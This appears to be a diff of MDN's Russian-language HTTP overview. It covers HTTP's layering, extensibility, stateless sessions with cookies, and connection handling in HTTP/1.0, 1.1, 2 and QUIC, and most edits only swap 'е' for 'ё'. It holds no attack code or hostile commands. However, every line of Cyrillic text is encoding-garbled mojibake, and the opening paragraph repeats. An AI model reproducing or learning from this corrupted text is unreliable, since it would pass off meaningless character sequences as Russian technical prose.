ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π»ΡΡ.Β  HTTP являСтся ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ уровня, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‡Π°Ρ‰Π΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ возмоТности Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° - {{glossary("TCP")}} (ΠΈΠ»ΠΈ {{glossary("TLS")}} - Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΉ TCP) - для пСрСсылки своих сообщСний, ΠΎΠ΄Π½Π°ΠΊΠΎ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ транспортный ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» тСорСтичСски ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для доставки Ρ‚Π°ΠΊΠΈΡ… сообщСний. Благодаря своСй Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΠΈ, ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для получСния ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ гипСртСкстовых Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²,Β ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, Π½ΠΎ ΠΈ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ содСрТимого сСрвСрам, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML-Ρ„ΠΎΡ€ΠΌ. HTTP Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для получСния Ρ‚ΠΎΠ»ΡŒΠΊΠΎ частСй Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° с Ρ†Π΅Π»ΡŒΡŽ обновлСния Π²Π΅Π±-страницы ΠΏΠΎ запросу (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ посрСдством AJAX запроса).</p>
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Π₯отя HTTP Π±Ρ‹Π» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Β  Π΅Ρ‰Ρ‘ Π² Π½Π°Ρ‡Π°Π»Π΅ 1990-Ρ… Π³ΠΎΠ΄ΠΎΠ², Π·Π° счёт своСй Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΠΈ Π² дальнСйшСм ΠΎΠ½ всС врСмя ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π»ΡΡ.Β  HTTP являСтся ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ уровня, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ‡Π°Ρ‰Π΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ возмоТности Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° - {{glossary("TCP")}} (ΠΈΠ»ΠΈ {{glossary("TLS")}} - Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΉ TCP) - для пСрСсылки своих сообщСний, ΠΎΠ΄Π½Π°ΠΊΠΎ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ транспортный ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» тСорСтичСски ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для доставки Ρ‚Π°ΠΊΠΈΡ… сообщСний. Благодаря своСй Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΠΈ, ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для получСния ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ гипСртСкстовых Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²,Β ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, Π½ΠΎ ΠΈ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ содСрТимого сСрвСрам, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML-Ρ„ΠΎΡ€ΠΌ. HTTP Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для получСния Ρ‚ΠΎΠ»ΡŒΠΊΠΎ частСй Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° с Ρ†Π΅Π»ΡŒΡŽ обновлСния Π²Π΅Π±-страницы ΠΏΠΎ запросу (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ посрСдством AJAX запроса).</p>
<h2 id="Π‘ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅_систСм_основанных_Π½Π°_HTTP">Π‘ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ систСм, основанных Π½Π° HTTP</h2>
@@ -60,23 +60,23 @@ translation_of: Web/HTTP/Overview
<h3 id="HTTP_-_прост">HTTP - прост</h3>
-<p>Π”Π°ΠΆΠ΅ с большСй ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π² HTTP/2 ΠΏΡƒΡ‚Π΅ΠΌ инкапсуляции HTTP-сообщСний Π² Ρ„Ρ€Π΅ΠΉΠΌΡ‹, HTTP, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, прост ΠΈ ΡƒΠ΄ΠΎΠ±Π΅Π½ для восприятия Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ. HTTP-сообщСния ΠΌΠΎΠ³ΡƒΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ людьми, обСспСчивая Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΎΠ΅ тСстированиС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½Π½ΡƒΡŽ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ для Π½ΠΎΠ²Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
+<p>Π”Π°ΠΆΠ΅ с большСй ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π² HTTP/2 ΠΏΡƒΡ‚Ρ‘ΠΌ инкапсуляции HTTP-сообщСний Π² Ρ„Ρ€Π΅ΠΉΠΌΡ‹, HTTP, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, прост ΠΈ ΡƒΠ΄ΠΎΠ±Π΅Π½ для восприятия Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ. HTTP-сообщСния ΠΌΠΎΠ³ΡƒΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ людьми, обСспСчивая Π±ΠΎΠ»Π΅Π΅ Π»Ρ‘Π³ΠΊΠΎΠ΅ тСстированиС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½Π½ΡƒΡŽ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ для Π½ΠΎΠ²Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
<h3 id="HTTP_-_Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ">HTTP - Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ</h3>
-<p>Π’Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π² HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</a> сдСлали этот ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π»Π΅Π³ΠΊΠΈΠΌ для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈ экспСримСнтирования. Новая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄Π°ΠΆΠ΅ Π²Π²Π΅Π΄Π΅Π½Π° простым соглашСниСм ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром ΠΎ сСмантикС Π½ΠΎΠ²ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°.</p>
+<p>Π’Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π² HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</a> сдСлали этот ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π»Ρ‘Π³ΠΊΠΈΠΌ для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΈ экспСримСнтирования. Новая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄Π°ΠΆΠ΅ Π²Π²Π΅Π΄Π΅Π½Π° простым соглашСниСм ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром ΠΎ сСмантикС Π½ΠΎΠ²ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°.</p>
<h3 id="HTTP_Π½Π΅_ΠΈΠΌΠ΅Π΅Ρ‚_состояния_Π½ΠΎ_ΠΈΠΌΠ΅Π΅Ρ‚_сСссию">HTTP Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ состояния, Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ сСссию</h3>
-<p>HTTP Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ состояния: Π½Π΅ сущСствуСт связи ΠΌΠ΅ΠΆΠ΄Ρƒ двумя запросами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ соСдинСнию. Из этого Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ слСдуСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΏΡ‹Ρ‚Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ страницСй ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ использовании ΠΊΠΎΡ€Π·ΠΈΠ½Ρ‹ Π² элСктронном ΠΌΠ°Π³Π°Π·ΠΈΠ½Π΅. Но хотя ядро HTTP Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ состояния, ΠΊΡƒΠΊΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСссии с сохранСниСм состояния. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΡƒΠΊΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊ Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊΡƒ, позволяя сСссии Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ HTTP-запросС Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ контСкстом, ΠΈΠ»ΠΈ состояниСм.</p>
+<p>HTTP Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ состояния: Π½Π΅ сущСствуСт связи ΠΌΠ΅ΠΆΠ΄Ρƒ двумя запросами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ соСдинСнию. Из этого Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ слСдуСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΏΡ‹Ρ‚Π°ΡŽΡ‰Π΅Π³ΠΎΡΡ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ страницСй ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ использовании ΠΊΠΎΡ€Π·ΠΈΠ½Ρ‹ Π² элСктронном ΠΌΠ°Π³Π°Π·ΠΈΠ½Π΅. Но хотя ядро HTTP Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ состояния, ΠΊΡƒΠΊΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСссии с сохранСниСм состояния. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΠΎΡΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΡƒΠΊΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊ Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊΡƒ, позволяя сСссии Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ HTTP-запросС Π΄Π΅Π»ΠΈΡ‚ΡŒΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ контСкстом, ΠΈΠ»ΠΈ состояниСм.</p>
<h3 id="HTTP_и_соСдинСния">HTTP и соСдинСния</h3>
-<p>Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ управляСтся Π½Π° транспортном ΡƒΡ€ΠΎΠ²Π½Π΅, ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΈΠ°Π»ΡŒΠ½ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ HTTP. Π₯отя HTTP Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ транспортного ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π±Ρ‹Π» основан Π½Π° соСдинСниях,Β  трСбуя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <em>Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΡΡ‚ΡŒ</em>, ΠΈΠ»ΠΈ отсутствиС потСрянных сообщСний (Ρ‚.Π΅. ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ прСдставлСниС ошибки). Π‘Ρ€Π΅Π΄ΠΈ Π΄Π²ΡƒΡ… Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных транспортных ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, TCP Π½Π°Π΄Ρ‘ΠΆΠ΅Π½, Π° UDP -- Π½Π΅Ρ‚. HTTP впослСдствии полагаСтся Π½Π° стандарт TCP, ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ основанным Π½Π° соСдинСниях, нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ соСдинСниС Π½Π΅ всСгда трСбуСтся.</p>
+<p>Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ управляСтся Π½Π° транспортном ΡƒΡ€ΠΎΠ²Π½Π΅, ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΈΠ°Π»ΡŒΠ½ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ HTTP. Π₯отя HTTP Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ транспортного ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π±Ρ‹Π» основан Π½Π° соСдинСниях,Β  трСбуя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <em>Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΡΡ‚ΡŒ</em>, ΠΈΠ»ΠΈ отсутствиС потСрянных сообщСний (Ρ‚.Π΅. ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ прСдставлСниС ошибки). Π‘Ρ€Π΅Π΄ΠΈ Π΄Π²ΡƒΡ… Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых транспортных ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, TCP Π½Π°Π΄Ρ‘ΠΆΠ΅Π½, Π° UDP -- Π½Π΅Ρ‚. HTTP впослСдствии полагаСтся Π½Π° стандарт TCP, ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ основанным Π½Π° соСдинСниях, нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ соСдинСниС Π½Π΅ всСгда трСбуСтся.</p>
-<p>HTTP/1.0 ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π» TCP-соСдинСниС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΠΌΠ΅Π½Π° запросом/ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ, имСя Π΄Π²Π° Π²Π°ΠΆΠ½Ρ‹Ρ… нСдостатка: ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ соСдинСния Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΠ±ΠΌΠ΅Π½ΠΎΠ² сообщСниями, ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, хотя становится Π±ΠΎΠ»Π΅Π΅ эффСктивным ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сообщСний, ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ рСгулярной ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ сообщСний: <em>Ρ‚Π΅ΠΏΠ»Ρ‹Π΅</em> соСдинСния Π±ΠΎΠ»Π΅Π΅ эффСктивны, Ρ‡Π΅ΠΌ <em>Ρ…ΠΎΠ»ΠΎΠ΄Π½Ρ‹Π΅</em>.</p>
+<p>HTTP/1.0 ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π» TCP-соСдинСниС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΠΌΠ΅Π½Π° запросом/ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ, имСя Π΄Π²Π° Π²Π°ΠΆΠ½Ρ‹Ρ… нСдостатка: ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ соСдинСния Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΠ±ΠΌΠ΅Π½ΠΎΠ² сообщСниями, ΠΈ ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, хотя становится Π±ΠΎΠ»Π΅Π΅ эффСктивным ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сообщСний, ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ рСгулярной ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ сообщСний: <em>Ρ‚Ρ‘ΠΏΠ»Ρ‹Π΅</em> соСдинСния Π±ΠΎΠ»Π΅Π΅ эффСктивны, Ρ‡Π΅ΠΌ <em>Ρ…ΠΎΠ»ΠΎΠ΄Π½Ρ‹Π΅</em>.</p>
-<p>Для смягчСния этих нСдостатков, HTTP/1.1 прСдоставил ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ (ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ оказалось Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ) ΠΈ устойчивыС соСдинСния: Π»Π΅ΠΆΠ°Ρ‰Π΅Π΅ Π² основС TCP соСдинСниС ΠΌΠΎΠΆΠ½ΠΎ частично ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ  {{HTTPHeader("Connection")}}. HTTP/2 сдСлал ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ сообщСний Ρ‡Π΅Ρ€Π΅Π· простоС соСдинСниС, ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‰Π΅Π΅ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ соСдинСниС Ρ‚Π΅ΠΏΠ»Ρ‹ΠΌ ΠΈ Π±ΠΎΠ»Π΅Π΅ эффСктивным.</p>
+<p>Для смягчСния этих нСдостатков, HTTP/1.1 прСдоставил ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π½ΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ (ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ оказалось Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ) ΠΈ устойчивыС соСдинСния: Π»Π΅ΠΆΠ°Ρ‰Π΅Π΅ Π² основС TCP соСдинСниС ΠΌΠΎΠΆΠ½ΠΎ частично ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ  {{HTTPHeader("Connection")}}. HTTP/2 сдСлал ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ сообщСний Ρ‡Π΅Ρ€Π΅Π· простоС соСдинСниС, ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‰Π΅Π΅ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ соСдинСниС Ρ‚Ρ‘ΠΏΠ»Ρ‹ΠΌ ΠΈ Π±ΠΎΠ»Π΅Π΅ эффСктивным.</p>
<p>ΠŸΡ€ΠΎΠ²ΠΎΠ΄ΡΡ‚ΡΡ экспСримСнты ΠΏΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ транспортного ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°, Π±ΠΎΠ»Π΅Π΅ подходящСго для HTTP. НапримСр, Google экспСримСнтируСт с <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, которая основана Π½Π°Β  UDP, для прСдоставлСния Π±ΠΎΠ»Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠ³ΠΎ ΠΈ эффСктивного транспортного ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°.</p>
@@ -96,7 +96,7 @@ translation_of: Web/HTTP/Overview
<li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">ΠŸΡ€ΠΎΠΊΡΠΈ ΠΈ Ρ‚ΡƒΠ½Π½Π΅Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</a></em><br>
